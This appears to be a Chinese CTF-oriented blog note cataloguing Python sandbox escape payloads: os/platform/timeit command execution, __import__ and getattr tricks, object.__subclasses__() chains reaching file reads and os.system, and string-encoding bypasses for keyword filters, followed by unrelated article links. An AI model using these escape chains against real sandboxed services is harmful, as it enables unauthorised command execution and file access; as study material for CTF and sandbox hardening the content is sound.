python沙盒逃逸
前言
最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了……),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸的英文似乎是pyjail……)
姿势
os
import os
os.system('dir')
os.popen('dir').read()
platform
import platform
platform.popen('dir').read()
platform.os.system('dir')
timeit
import timeit
timeit.timeit("__import__('os').system('dir')")
__import__
__import__的作用就是导入一个包,和import的功能相同
__import__('os')
__import__('os').system('dir')
import os
os.system('dir')
__builtins__
__builtins__指的是python的内置函数(即预定义函数)
dir(__builtins__),可以看到支持很多种函数(如open),所以可以使用
__builtins__.open()
来打开文件,读文件就可以靠file类的read方法了
__builtins__.open('1.txt').read()
__dict__
__dict__,以字典形式储存类的方法和属性
__builtins__.__dict__['__import__']
sys
有些时候会将重要包的路径从sys.modules中移除,这时就要
import sys
sys.modules['os']='/usr/lib/python2.7/os.py'
重新定义一下os的路径
getattr和__getattribute__和__getitem__
如果将方法关键字过滤掉,直接用.来使用方法就不能成功,这时需要使用getattr()函数和__getattribute__方法,或者__getitem__取得字典中的某种方法
getattr(__import__('os'),'system')('dir')
__import__('os').__getattribute__('system')('dir')
__import__('os').__dict__.__getitem__('system')('dir')
reload
有时候会将__builtins__中的一些方法移出这时只要reload一下即可
但Python 3.0把reload内置函数移到了imp标准库模块中
reload(__builtins__)
object类
因为object类存在__subclass__方法,可以获得所有的子类(其中包括file类,所以可以读取文件),获得object类的方式
().__class__.__bases__[0] #__bases__显示上一个继承的类
''.__class__.__mro__[2] #__mro__显示类的继承关系
''.__class__.__bases__[0].__bases__
读文件:
().__class__.__bases__[0].__subclasses__()[40]("1.txt").read()
globals(),local(),vars()
当前的符号表(其中存在__builtins__)
奇妙的warnings.WarningMessage类
warnings.WarningMessage类在object类的第60个子类,直接放payload吧(自己也没怎么懂……)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__
绕过过滤
有时候会对关键字进行过滤可以使用不同编码来过滤,但只能在以字典形式调用方法时才能使用
'X19pbXBvcnRfXw=='.decode('base64') => '__import__'
''.join(['__imp','ort__']) => '__import__'
'__tropmi__'[::-1] => '__import__'
'__imp'+'ort__' => '__import__'
'__buihf9ns__'.replace('hf9','ldi')
dir()[0] => '_'
结语
方法:
- 找到文件类
- 找到读取文件的方法
- 找到os
其他的都是绕过过滤吧……
python沙盒逃逸的更多相关文章
- python-Flask模版注入攻击SSTI(python沙盒逃逸)
一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...
- SSTI注入绕过(沙盒逃逸原理一样)
在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...
- 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸
作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...
- Python沙盒环境配置
一.简介 本文介绍配置python沙盒环境的方法步骤. 二.安装步骤 1.安装pyenv http://www.cnblogs.com/274914765qq/p/4948530.html 2.安装v ...
- seccomp沙盒逃逸基础——沙盒的规则编写
seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...
- python - 沙盒环境 - virtualenv - 简明使用录
1. 不讲安装,没意思 2. 使用 virtualenv ENV # 建立环境,ENV你可以随便定,看起来像是 mkdir ENV cd ENV # 进目录呗 source bin/activate ...
- python项目在无外网的生产环境解决沙盒依赖问题
参考 https://yq.aliyun.com/articles/159599 https://www.jianshu.com/p/08c657bd34f1 缺点是 只能针对python的环境 做沙 ...
- python:沙盒(virtualenv)
当电脑需要使用多个版本的python时,可以使用沙盒:或者使用docker: virtualenv是Python自带的,通过pip安装的 [root@centos7 public]# cd jinji ...
- python的沙盒环境--virtualenv
VirtualEnv用于在一台机器上创建多个独立的python运行环境,VirtualEnvWrapper为前者提供了一些便利的命令行上的封装. 使用 VirtualEnv 的理由: 隔离项目之间 ...
随机推荐
- 驱动学习3.1:获取zynqled的物理地址
自己想要打印EMIO管脚的物理地址,在SDK提供的头文件中加入printf是无法打印的,基于此 我将需要打印地址的几个函数提取出来,放在main函数中,然后在里面加入printf打印这些用户管脚的地址 ...
- echarts 分组绘制柱状图
示意图: 代码如下: <!DOCTYPE html> <html style="height: 100%"> <head> <meta c ...
- 即时通信系统Openfire分析之一:Openfire与XMPP协议
引言 目前互联网产品使用的即时通信协议有这几种:即时信息和空间协议(IMPP).空间和即时信息协议(PRIM).针对即时通讯和空间平衡扩充的进程开始协议SIP(SIMPLE)以及XMPP.PRIM与 ...
- OpenCV---色彩空间(一)
颜色空间:用三种或者更多特征来指定颜色的方法,被称为颜色空间或者颜色模型 1.RGB(OpenCV中为BGR): 一幅图像由三个独立的图像平面或者通道构成:红.蓝.绿(以及可选项:透明度alpha通道 ...
- 「LibreOJ β Round #4」框架
https://loj.ac/problem/527 题目描述 有一个n×m的矩形框架,但其中有些边被删除了.qmqmqm想知道剩余部分中还有多少完整的正方形.只有当一个正方形的每一条边均被保留下来, ...
- HDU 2608 底数优化分块 暴力
T(n) as the sum of all numbers which are positive integers can divied n. and S(n) = T(1) + T(2) + T( ...
- web开发之Servlet 三
昨天我们学习了Servlet的运行过程和生命周期,那么今天我们学习下Servlet中非常重要的两个类:ServletConfig ServletContext 我们可以看到,与顶层Servlet主动 ...
- VueJS ElementUI el-table 的 formatter 和 scope template 不能同时存在
暂时可以通过 在 scope template 中自己处理格式化解决 相关issue: 2548
- RF, GBDT, XGB区别
GBDT与XGB区别 1. 传统GBDT以CART作为基分类器,xgboost还支持线性分类器(gblinear),这个时候xgboost相当于带L1和L2正则化项的逻辑斯蒂回归(分类问题)或者线性回 ...
- 统计oracle表中字段的个数
select count(column_name) from user_tab_columns where table_name='emp' dba权限对应的视图是dba_tab_columns 和a ...